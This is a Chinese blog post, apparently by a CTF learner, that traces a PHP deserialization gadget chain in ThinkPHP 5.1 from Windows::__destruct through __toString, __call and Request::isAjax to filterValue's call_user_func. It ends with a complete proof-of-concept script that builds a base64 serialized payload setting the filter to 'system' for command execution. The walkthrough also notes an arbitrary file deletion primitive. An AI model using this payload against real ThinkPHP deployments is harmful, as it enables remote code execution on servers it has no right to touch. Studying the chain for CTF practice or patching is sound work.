前言
最近打ctf总是遇见一些cve，虽然能找到payload但光打payload属实无趣，所以简单看了一点代码审计和thinkphp开发规则后开始跟几个thinkphp的漏洞。
安装
https://github.com/heyguojing/thinkphp5.1使用composer安装
composer create-project topthink/think tp
启动服务
cd tp php think run
然后就可以在浏览器中访问
http://localhost:8000
漏洞分析
漏洞的起点为/thinkphp/library/think/process/pipes/Windows.php的__destruct()。
public function __destruct()
{
$this->close();
$this->removeFiles();
}
里面有close()函数和removeFile()函数
先跟进一下close()函数
public function close()
{
parent::close();
foreach ($this->fileHandles as $handle) {
fclose($handle);
}
$this->fileHandles = [];
}没有什么利用 ，再去跟进removeFile函数
private function removeFiles()
{
foreach ($this->files as $filename) {
if (file_exists($filename)) {
@unlink($filename);
}
}
$this->files = [];
}foreach函数可以遍历数组，把$filename函数指定的文件给删除，存在任意文件删除的漏洞，但作用不大，不能rce，但file_exists函数可以把变量$filename当成字符串来处理，正好 可以触发反序列化中__toString函数，所以我们全局遍历可利用的 __toString函数找到了conversion.php
public function __toString()
{
return $this->toJson();
}继续跟进toJson()函数
public function toJson($options = JSON_UNESCAPED_UNICODE)
{
return json_encode($this->toArray(), $options);
}继续跟进toArray()函数
public function toArray()
{
$item = [];
$hasVisible = false;
foreach ($this->visible as $key => $val) {
if (is_string($val)) {
if (strpos($val, '.')) {
list($relation, $name) = explode('.', $val);
$this->visible[$relation][] = $name;
} else {
$this->visible[$val] = true;
$hasVisible = true;
}
unset($this->visible[$key]);
}
}
foreach ($this->hidden as $key => $val) {
if (is_string($val)) {
if (strpos($val, '.')) {
list($relation, $name) = explode('.', $val);
$this->hidden[$relation][] = $name;
} else {
$this->hidden[$val] = true;
}
unset($this->hidden[$key]);
}
}
// 合并关联数据
$data = array_merge($this->data, $this->relation);
foreach ($data as $key => $val) {
if ($val instanceof Model || $val instanceof ModelCollection) {
// 关联模型对象
if (isset($this->visible[$key]) && is_array($this->visible[$key])) {
$val->visible($this->visible[$key]);
} elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {
$val->hidden($this->hidden[$key]);
}
// 关联模型对象
if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {
$item[$key] = $val->toArray();
}
} elseif (isset($this->visible[$key])) {
$item[$key] = $this->getAttr($key);
} elseif (!isset($this->hidden[$key]) && !$hasVisible) {
$item[$key] = $this->getAttr($key);
}
}
// 追加属性（必须定义获取器）
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加关联对象属性
$relation = $this->getRelation($key);
if (!$relation) {
$relation = $this->getAttr($key);
if ($relation) {
$relation->visible($name);
}
}
$item[$key] = $relation ? $relation->append($name)->toArray() : [];
} elseif (strpos($name, '.')) {
list($key, $attr) = explode('.', $name);
// 追加关联对象属性
$relation = $this->getRelation($key);
if (!$relation) {
$relation = $this->getAttr($key);
if ($relation) {
$relation->visible([$attr]);
}
}
$item[$key] = $relation ? $relation->append([$attr])->toArray() : [];
} else {
$item[$name] = $this->getAttr($name, $item);
}
}
}
return $item;
}直接看有用的部分
public function toArray()
{
$item = [];
$hasVisible = false;
........................
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加关联对象属性
$relation = $this->getRelation($key);
if (!$relation) {
$relation = $this->getAttr($key);
if ($relation) {
$relation->visible($name);
}
}
........................在toArray()这个函数中找到了两个可控的值，$key(可控变量)和$name(可控的参数)，而$relation通过getRelation或getAttr也是可控的，所以我们继续跟进一下这两个函数
public function getRelation($name = null)
{
if (is_null($name)) {
return $this->relation;
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}
return;
} array_key_exists() 函数检查某个数组中是否存在指定的键名array_key_exists() 函数检查某个数组中是否存在指定的键名，所以很容易绕过if/else判断，直接return 空,从而通过下一步的if (!$relation)检测，执行getAttr()方法，跟进一下getAttr()
public function getAttr($name, &$item = null)
{
try {
$notFound = false;
$value = $this->getData($name);
} catch (InvalidArgumentException $e) {
$notFound = true;
$value = null;
}
// 检测属性获取器
$fieldName = Loader::parseName($name);
$method = 'get' . Loader::parseName($name, 1) . 'Attr';
if (isset($this->withAttr[$fieldName])) {
if ($notFound && $relation = $this->isRelationAttr($name)) {
$modelRelation = $this->$relation();
$value = $this->getRelationData($modelRelation);
}
$closure = $this->withAttr[$fieldName];
$value = $closure($value, $this->data);
} elseif (method_exists($this, $method)) {
if ($notFound && $relation = $this->isRelationAttr($name)) {
$modelRelation = $this->$relation();
$value = $this->getRelationData($modelRelation);
}
$value = $this->$method($value, $this->data);
} elseif (isset($this->type[$name])) {
// 类型转换
$value = $this->readTransform($value, $this->type[$name]);
} elseif ($this->autoWriteTimestamp && in_array($name, [$this->createTime, $this->updateTime])) {
if (is_string($this->autoWriteTimestamp) && in_array(strtolower($this->autoWriteTimestamp), [
'datetime',
'date',
'timestamp',
])) {
$value = $this->formatDateTime($this->dateFormat, $value);
} else {
$value = $this->formatDateTime($this->dateFormat, $value, true);
}
} elseif ($notFound) {
$value = $this->getRelationAttribute($name, $item);
}
return $value;
}public function getAttr($name, &$item = null)
{
try {
$notFound = false;
$value = $this->getData($name);
} catch (InvalidArgumentException $e) {
$notFound = true;
$value = null;
}
.....................
return $value;
}
包含了一个getDate()再跟进一下
public function getData($name = null)
{
if (is_null($name)) {
return $this->data;
} elseif (array_key_exists($name, $this->data)) {
return $this->data[$name];
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}
throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
}$name是$this->append的键名，而$this->data可控，所以返回值可控，相当于$relation =$this->data[$key]，所以$relation可控。而$name是$this->append的键值，同样可控，所以$relation->visible($name);可以考虑利用。
需要注意的是，__toString()是Conversion的，getAttr()等是Attribute的，这两个都是trait类。
再去尋找到Mode类
但是这是一个抽象类，抽象类不能直接实例化。没有办法利用，所以我们去寻找call方法
public function __call($method, $args)
{
if (array_key_exists($method, $this->hook)) {
array_unshift($args, $this);
return call_user_func_array($this->hook[$method], $args);
}
throw new Exception('method not exists:' . static::class . '->' . $method);
}
但是不能直接利用call_user_func_array执行system，这里$method是visible，$args是之前的$name可控，但是有这行代码：array_unshift($args, $this);。把$this插到了$args的最前面，使得system的第一个参数不可控，没法直接system。因此想办法回调thinkphp中的方法，而且经过一系列构造，最终命令执行中的参数和这里的$args无关
private function filterValue(&$value, $key, $filters)
{
$default = array_pop($filters);
foreach ($filters as $filter) {
if (is_callable($filter)) {
// 调用函数或者方法过滤
$value = call_user_func($filter, $value);
我们要想办法利用的就是这里$value = call_user_func($filter, $value);。但是$filter和$value都不可控。这里有一个小trick，就是这个类的input方法：
// 解析过滤器
$filter = $this->getFilter($filter, $default);
if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
先跟进一下getFilter()
protected function getFilter($filter, $default)
{
if (is_null($filter)) {
$filter = [];
} else {
$filter = $filter ?: $this->filter;
if (is_string($filter) && false === strpos($filter, '/')) {
$filter = explode(',', $filter);
} else {
$filter = (array) $filter;
}
}
$filter[] = $default;
return $filter;
}
$filter = $filter ?: $this->filter;很明显filter可控了,再看另一个参数$data，如果$data可控，而且$name为空字符串的话，input函数中前面的那些代码if条件就不成立，不构成影响。
在找何处调用input时，发现了param()函数
$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));
$this->param是由本来的$this->param，还有请求参数和URL地址中的参数合并。
但考虑到调用的函数是array_walk_recursive，数组中的每个成员都被回调函数调用，因此其实直接构造$this->param也是可以的，但是考虑到可以动态命令执行，因此就不构造$this->param了，而是把要执行的命令写在get参数里即第二个参数($this->get(false))。
最后就剩下最后一个问题了，就是何处调用了param(),并且调用时$name为空，经过寻找找到了isAjax()
public function isAjax($ajax = false)
{
$value = $this->server('HTTP_X_REQUESTED_WITH');
$result = 'xmlhttprequest' == strtolower($value) ? true : false;
if (true === $ajax) {
return $result;
}
$result = $this->param($this->config['var_ajax']) ? true : $result;
$this->mergeParam = false;
return $result;
}
$result = $this->param($this->config['var_ajax']) ? true : $result;
添加反序列化函数作为入口
POC
<?php
namespace think\process\pipes{
use think\model\Pivot;
class Windows
{
private $files = [];
public function __construct(){
$this->files[]=new Pivot();
}
}
}
namespace think{
abstract class Model
{
protected $append = [];
private $data = [];
public function __construct(){
$this->data=array(
'feng'=>new Request()
);
$this->append=array(
'feng'=>array(
'hello'=>'world'
)
);
}
}
}
namespace think\model{
use think\Model;
class Pivot extends Model
{
}
}
namespace think{
class Request
{
protected $hook = [];
protected $filter;
protected $config = [
// 表单请求类型伪装变量
'var_method' => '_method',
// 表单ajax伪装变量
'var_ajax' => '',
// 表单pjax伪装变量
'var_pjax' => '_pjax',
// PATHINFO变量名 用于兼容模式
'var_pathinfo' => 's',
// 兼容PATH_INFO获取
'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
// 默认全局过滤方法 用逗号分隔多个
'default_filter' => '',
// 域名根，如thinkphp.cn
'url_domain_root' => '',
// HTTPS代理标识
'https_agent_name' => '',
// IP代理获取标识
'http_agent_ip' => 'HTTP_X_REAL_IP',
// URL伪静态后缀
'url_html_suffix' => 'html',
];
public function __construct(){
$this->hook['visible']=[$this,'isAjax'];
$this->filter="system";
}
}
}
namespace{
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
}
总结
第一次复现thinkphp的链子，自己还是太菜了，刚开始前面还好，后面越来越跟不上，不理解，到后面就大部分直接复制其他师傅的了，下次找个短一点的毕竟自己代码审计能力，反序列化的能力还是太菜了。
3704
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
